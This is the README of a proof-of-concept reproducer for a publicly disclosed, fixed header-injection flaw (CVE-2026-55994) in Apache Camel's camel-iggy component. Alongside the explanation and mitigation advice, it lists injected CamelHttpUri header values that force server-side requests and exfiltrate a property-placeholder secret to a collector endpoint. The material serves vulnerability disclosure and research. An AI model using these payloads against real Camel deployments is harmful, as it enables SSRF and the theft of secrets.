
PoC reproducer for CVE-2026-55994 (Apache Camel camel-iggy): the consumer copies an Iggy message's user-headers onto the Exchange unfiltered, so an injected CamelHttpUri drives a server-side request (SSRF) and leaks resolved property placeholders. Fixed in 4.18.3/4.21.0.
This project demonstrates a message-header injection in Apache Camel's camel-iggy component, tracked as
CVE-2026-55994. The Iggy consumer copies an inbound message's user-headers onto the Camel Exchange
without any HeaderFilterStrategy, so anyone who can publish to the consumed Iggy topic can inject Camel
control headers — notably CamelHttpUri:
// IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
e -> e.getKey(),
e -> e.getValue().value()));
exchange.getIn().setHeaders(stringUserHeaders);
});
When the route bridges this consumer into an HTTP producer, an injected CamelHttpUri overrides the producer's
target URI — server-side request forgery. The camel-http producer also calls resolvePropertyPlaceholders() on
that attacker-controlled URI, so an injected {{...}} reference is expanded to its real value and sent out —
disclosing environment variables, application properties, or vault secrets.
This PoC demonstrates the impact as SSRF plus secret disclosure (CWE-20 → CWE-918 + CWE-200). It is one of
three sibling components fixed together under CAMEL-23532 (with camel-vertx-websocket, CVE-2026-46726, and
camel-atmosphere-websocket, CVE-2026-55993).
Advisory: https://camel.apache.org/security/CVE-2026-55994.html
| Property | Value |
|---|---|
| Component | camel-iggy |
| Affected Class | org.apache.camel.component.iggy.IggyFetchRecords#createExchange (maps message user-headers to Exchange headers with no filter) |
| CWE | CWE-20 (Improper Input Validation) → CWE-918 (SSRF) + CWE-200 (Information Exposure) |
| Impact | SSRF and disclosure of secrets via property-placeholder resolution on the injected URI |
| Preconditions | A route bridges an iggy: consumer into an HTTP producer; attacker can publish to the consumed topic |
| Affected Versions | From 4.17.0 before 4.18.3, from 4.19.0 before 4.21.0 (camel-iggy was introduced in 4.17.0) |
| Fixed Versions | 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Credit | Kamalpreet Singh |
The fix applies a
HeaderFilterStrategyto the inbound mapping, filteringCamel*/camel*headers so they can no longer be injected through an Iggy message's user-headers.
The vulnerable IggyFetchRecords.createExchange(...) is run unchanged, on a forged Iggy message whose
user-headers are attacker-controlled. The resulting Exchange flows through the real route to the real
camel-http producer, so the SSRF and the {{...}} property-placeholder disclosure are genuine.
Why a live Iggy broker is not used. The
iggy:consumer'sdoStartopens a connection to a running Iggy server, so the route cannot start without one — and the Apache Iggy server requiresio_uring, which Docker's default seccomp profile blocks (it runs only with--privileged), making it unsuitable for a portable, shareable PoC. The vulnerablecreateExchangeitself needs no broker, so the driver constructs the realIggyFetchRecordsand invokes it directly with the forged message. The siblingcamel-vertx-websocketPoC (CVE-2026-46726) drives the identical defect through a live transport.
In a real deployment: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). Here the
downstream half is from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"), fed the poisoned
Exchange built by the real createExchange.
CVE-2026-55994/
├── pom.xml # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # downstream link -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect
│ └── ExploitController.java # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Ordinary message (user-header x-order-id=A-1001)
reached /legit-backend: true
reached /internal/secret: false
2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Upgrade to 4.18.3 / 4.21.0 (CAMEL-23532). After upgrading, the consumer filters Camel* headers from the
Iggy message user-headers, so CamelHttpUri and other control headers can no longer be injected.
Until upgrading, do not bridge an iggy: consumer directly into an HTTP producer without stripping Camel control
headers first (for example removeHeaders("CamelHttp*")), and set the producer's target from a trusted source (or
use bridgeEndpoint=true).
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.